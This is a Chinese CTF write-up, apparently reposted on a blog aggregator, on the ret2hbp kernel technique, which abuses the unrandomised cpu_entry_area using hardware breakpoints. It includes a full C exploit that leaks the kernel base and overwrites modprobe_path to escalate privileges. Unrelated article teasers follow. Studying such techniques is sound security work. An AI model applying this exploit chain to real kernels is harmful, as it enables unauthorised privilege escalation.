【ret2hbp】一道板子测试题 和 SCTF2023 - sycrpg

前言

ret2hbp 主要是利用在内核版本 v6.2.0 之前,cpu_entry_area mapping 区域没有参与随机化的利用。其主要针对的场景如下:

1)存在任意地址读,泄漏内核地址

2)存在无数次任意地址写,泄漏内核地址并提权

这里仅仅记录题目,具体原理请读者自行查阅资料,这里给一些参考链接:

一种借助硬件断点的提权思路分析与演示 板子题也是这个大佬写的

https://googleprojectzero.blogspot.com/2022/12/exploiting-CVE-2022-42703-bringing-back-the-stack-attack.html

板子题

保护:smep、smap、kalsr、pti都开了

漏洞如下:无数次任意地址写8字节

exp 如下:这里在泄漏完kernel_offset后直接利用任意写打modprobe_path,这里取巧了

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <poll.h>
#include <sched.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/user.h>
#include <sys/utsname.h>
#include <sys/wait.h>
#include <syscall.h>
#include <unistd.h>

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}


#define DF_OFFSET(dr) ((void*)(&((struct user*)0)->u_debugreg[dr]))
#define CPU_ENTRY_AREA_DB_STACK_RCX_ADDR 0xfffffe0000010fb0
#define MMAP_ADDR 0x12340000
#define MMAP_SIZE 0x2000
int fd;
int pipe_fd[2];

struct arg { uint64_t addr; uint64_t val };

void arb_write(uint64_t addr, uint64_t val)
{
        struct arg arg = { .addr = addr, .val = val };
        ioctl(fd, 0, &arg);
}

void set_hbp(pid_t pid, void* addr)
{
        if (ptrace(PTRACE_POKEUSER, pid, DF_OFFSET(0), addr))
                err_exit("ptrace PTRACE_POKEUSER for dr0 in set_hbp");

        long dr7 = (1<<0)|(1<<8)|(1<<16)|(1<<17)|(1<<18)|(1<<19);
        if (ptrace(PTRACE_POKEUSER, pid, DF_OFFSET(7), dr7))
                err_exit("ptrace PTRACE_POKEUSER for dr7 in set_hbp");
}

void do_trigger_hbp()
{
        bind_core(0);
        if (ptrace(PTRACE_TRACEME, 0, NULL, NULL))
                err_exit("ptrace PTRACE_TRACEME in do trigger hbp");

        struct utsname* uts = (struct utsname*)MMAP_ADDR;
        int oob_idx = (sizeof(struct utsname) + sizeof(uint64_t) - 1) / sizeof(uint64_t);

        while (1)
        {
                raise(SIGSTOP);
                uname(uts);
                if (((uint64_t*)uts)[oob_idx])
                {
                        puts("[+] OOB Read Stack Data Successfully");
                        write(pipe_fd[1], MMAP_ADDR, MMAP_SIZE);
                        break;
                }
        }

}

void do_change_cx()
{
        bind_core(1);
        puts("[+] write cpu_entry_area DB_STACK -> rcx");
        while (1)
        {
                arb_write(CPU_ENTRY_AREA_DB_STACK_RCX_ADDR, 0x400/8);
        }
}

void get_flag(){
        system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag' > /tmp/x"); // modeprobe_path 修改为了 /tmp/x
        system("chmod +x /tmp/x");
        system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy"); // 非法格式的二进制文件
        system("chmod +x /tmp/dummy");
        system("/tmp/dummy"); // 执行非法格式的二进制文件 ==> 执行 modeprobe_path 指向的文件 /tmp/x
        sleep(0.3);
        system("cat /flag");
        exit(0);
}

int main(int argc, char** argv, char** envp)
{
        fd = open("/dev/vuln", O_RDONLY);
        if (fd < 0) err_exit("open dev file");

        if (mmap(MMAP_ADDR, MMAP_SIZE, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0) == MAP_FAILED)
                err_exit("mmap MMAP_ADDR");

        pipe(pipe_fd);
        pid_t pid1, pid2;
        puts("[+] fork a process to trigger hbp");
        pid1 = fork();
        if (!pid1)
        {
                do_trigger_hbp();
                exit(0);
        } else if (pid1 < 0) {
                err_exit("fork a trigger hbp process");
        } else {
                waitpid(pid1, NULL, NULL);
        }

        pid2 = fork();
        if (!pid2)
        {
                do_change_cx();
                exit(0);
        } else if (pid2 < 0) {
                err_exit("fork a trigger hbp process");
        }

        set_hbp(pid1, MMAP_ADDR);
        struct pollfd fds = { .fd = pipe_fd[0], .events = POLLIN };
        while (1)
        {
                if (ptrace(PTRACE_CONT, pid1, NULL, NULL))
                        err_exit("ptrace PTRACE_CONT");
                waitpid(pid1, NULL, NULL);

                int res = poll(&fds, 1, 0);
                if (res > 0 && (fds.revents & POLLIN))
                {
                        read(pipe_fd[0], MMAP_ADDR, MMAP_SIZE);
                        break;
                }
        }

        binary_dump("OOB READ STACK DTA", MMAP_ADDR+sizeof(struct utsname), 0x100);
        uint64_t* leak_data = MMAP_ADDR+sizeof(struct utsname);
        uint64_t kbase = leak_data[4] - 0xe0b32;
        uint64_t modprobe_path = kbase + 0x1e8b920;
        hexx("kbase", kbase);
        hexx("modprobe_path", modprobe_path);

        char cmd[8] = "/tmp/x";
        arb_write(modprobe_path, *(uint64_t*)cmd);
        get_flag();
        puts("[+] EXP NEVER END!");
        return 0;
}

效果如下: 

但是在大佬 blog 中是直接可以提权的,所以这里尝试提权,这里其实想法挺多了,因为漏洞的品相比较好,所以可以直接考虑修改 ip / rsp,但是这里还是参考原文中的做法,因为 srcrpg 这题是固定地址的任意次1字节写。

todo 后面补 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/241940.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Linux中使用podman管理容器

本章主要介绍使用podman管理容器 了解什么是容器&#xff0c;容器和镜像的关系安装和配置podman拉取和删除镜像给镜像打标签导出和导入镜像创建和删除镜像数据卷的使用管理容器的命令使用普通用户管理容器 对于初学者来说&#xff0c;不太容易理解什么是容器&#xff0c;这里…

SpringBoot 实现动态切换数据源

最近在做业务需求时&#xff0c;需要从不同的数据库中获取数据然后写入到当前数据库中&#xff0c;因此涉及到切换数据源问题。本来想着使用Mybatis-plus中提供的动态数据源SpringBoot的starter&#xff1a;dynamic-datasource-spring-boot-starter来实现。 结果引入后发现由于…

Windows Subsystem for Linux (WSL) 安装与使用笔记

文章目录 Part.I IntroductionPart.II 安装Chap.I 安装流程Chap.II 迁移至其他盘 Part.III 使用Chap.I 一些信息Chap.II 配置下载软件的源Chap.III 安装 pip Reference Part.I Introduction Windows Subsystem for Linux 简写为 WSL&#xff0c;是 Windows 的一个 Linux 子系统…

《洛谷深入浅出进阶篇》 进阶数论

本文章内容比较长&#xff0c;请耐心食用&#xff01;&#xff01;&#xff01;&#xff01;&#xff01; 目录&#xff1a; 模意义下的数和运算喵~ 模意义下的乘法逆元喵~ 同余方程与中国剩余定理喵~ 线性筛与积性函数喵~ 欧拉函数喵~ 一&#xff0c;模意义下的数和运算。…

融了超24亿一分钱不花,放银行吃利息,这家存储创企厉害了

​引言&#xff1a;AI与大模型风起云涌&#xff0c;催生了这匹存储“黑马” 【全球存储观察 &#xff5c; 科技热点关注】 这家总部设在美国的存储初创公司&#xff0c;真的赶上AI与大模型时代的风口了。Vast Data公司最新再次获得E轮融资1.18亿美元&#xff0c;但是这个存储…

Leetcode 78 子集

题意理解&#xff1a; 求一个集合的所有子集。该集合中没有重复元素。 首先明确什么是子集&#xff1a;子集中的元素都在全集里。 [1,2,3] 子集&#xff1a;[]、[1]、[2]、[3]、[12]、[13]、[23]、[123] 注意&#xff1a;[]空集是所有集合的子集。 解题思路&#xff1a; 类似于…

2023自动化测试框架大对比:哪个更胜一筹?

所谓工欲善其事&#xff0c;必先利其器&#xff0c;在进行自动化测试时&#xff0c;选择一个合适的框架是至关重要的。因为一个好的测试框架可以大大提高测试效率&#xff0c;减少我们很多工作量。在选择框架之前&#xff0c;我们通常需要对不同的框架进行对比&#xff0c;以便…

Jetpack Startup 优雅完成库的初始化和方法接口简化

目录 1.Startup组件是什么2.Startup组件能做啥2.1 startup组件可以简化用户使用我们提供的库的流程。2.2 简化库提供给使用者的API接口 3.如何使用Startup组件3.1 引入依赖3.2 创建一个初始化的类继承Initializer3.3 在我们库的AndroidManifest.xml中加入配置 4.使用Startup组件…

或许你更胜一筹呢

还记得刚出来时&#xff0c;一位前辈对我说过的一句话&#xff0c;“一定不要妄自菲薄”。说实话&#xff0c;一开始我并不知道这个成语的具体含义。后面百度才知道 妄自菲薄&#xff1a;过分地看轻自己 当时还没毕业&#xff0c;无论是从能力还是学识方面&#xff0c;我都不知…

C、C++、C#的区别概述

C、C、C#的区别概述 https://link.zhihu.com/?targethttps%3A//csharp-station.com/understanding-the-differences-between-c-c-and-c/文章翻译源于此链接 01、C语言 ​ Dennis Ritchie在1972年创造了C语言并在1978年公布。Ritchie设计C的初衷是用于开发新版本的Unix。在那之…

如何建立一套完善的销售管理体系?

如何建立一套完善的销售管理体系&#xff1f; 该提问下已有许多专业的回答&#xff0c;从多个角度为题主出谋划策&#xff1a;销售主管如何提升个人能力、销售团队如何管理、PDCA管理方法论、销售闭环……似乎都与硬性的个人能力挂钩&#xff0c;销售能力、管理能力等等。 或…

技术Leader:像李云龙一样打造学习型团队

今天跟大家分享一下怎么样构建一个学习型的团队。 首先对于计算机行业而言&#xff0c;不明而喻&#xff0c;我们要接受的东西真的太多了。我们接触的信息和变化也太多了。如果只是因循守旧&#xff0c;排斥新东西&#xff0c;那么我们被时代淘汰只是个时间问题。 想当年我大…

boost编译静态库

版本1_83_0 下载地址https://boostorg.jfrog.io/artifactory/main/release/1.83.0/source/boost_1_83_0.zip 解压后根目录可见 参考方式&#xff1a;打开index.html 可通过此路径找到编译方法 进入getting started&#xff0c;右下角有linux和windows的下一步可选&#xff0…

IO流(二)

目录 一.文件拷贝 1.小文件拷贝 2.FileInputStream的读取问题 二.捕获异常 三.字符集 1.GBK 英文存储&#xff08;单字节&#xff09; 中文存储&#xff08;双字节&#xff09; 2.Unicode 3.乱码 原因 规避乱码的方式 四.字符流 FileReader 无参 有参 FileWrit…

pcl的polygonmesh在cloudcompare显示异常

一个polygonMesh文件在PCL显示是这样的: 把它保存成ply,然后用cc打开却是这样的: 这看起来像是某些三角面片没有被保存下来,实际上是因为保存的polygonmesh带有法线信息被pcl区分正反面,这些黑色的小三角它的法线朝向和绿色的不一样. 一个解决办法是清除法线.在cloudcompare选…

AI全栈大模型工程师(二十四)常用的超参

文章目录 七、先介绍几个常用的超参7.1、过拟合与欠拟合7.2、学习率调整策略八、自然语言处理常见的网络结构8.1、文本卷积神经网络 TextCNN8.2、循环神经网络 RNN8.3、Attention (for RNN)后记七、先介绍几个常用的超参 7.1、过拟合与欠拟合 奥卡姆剃刀: 两个处于竞争地位的…

防火墙访问控制、安全审计、网络设备防护检查表

1、访问控制类检查 2、安全审计类检查 3、网络设备防护类检查 原件&#xff1a; 防火墙标准检查表 分类 测评项 预期结果 访问控制 应在网络边界部署访问控制设备&#xff0c;启用访问控制功能 启用了访问控制规则 应能根据会话状态信息为数据流提供明确的允许/拒绝访…

thinkphp连接数据库mysql 报错问题

第一 看报错日志php如果是下面这个报错的话 就是mysql 数据库没有验证连接 ​​​​​​​[2023-12-13T09:57:0108:00][error] [10501]SQLSTATE[HY000] [2054] The server requested authentication method unknown to the client 我们就可以去mysql 的文件检查 验证身份 使…

Nyquist Theorem(取样定理)

取样定理&#xff0c;又称为奈奎斯特定理&#xff08;Nyquist Theorem&#xff09;&#xff0c;是信号处理领域中一项至关重要的基本原理。它规定了对于连续时间信号&#xff0c;为了能够完全准确地还原出原始信号&#xff0c;即使是在离散时间下进行采样和再构建&#xff0c;都…

十大最好猫主食罐头有哪些品牌?最好猫主食罐头品牌推荐

很多人家里的哈基米是不是吃猫粮吃腻了&#xff0c;或者猫猫平时不喜欢喝水&#xff0c;又或者看猫猫太瘦了想入手几款猫罐头但是又愁于不会选择。而且现在猫罐头风这么大不知道选什么好~ 作为一个经营猫咖5年的老板&#xff0c;大促期间我总能捡漏&#xff0c;屯到一大波好吃…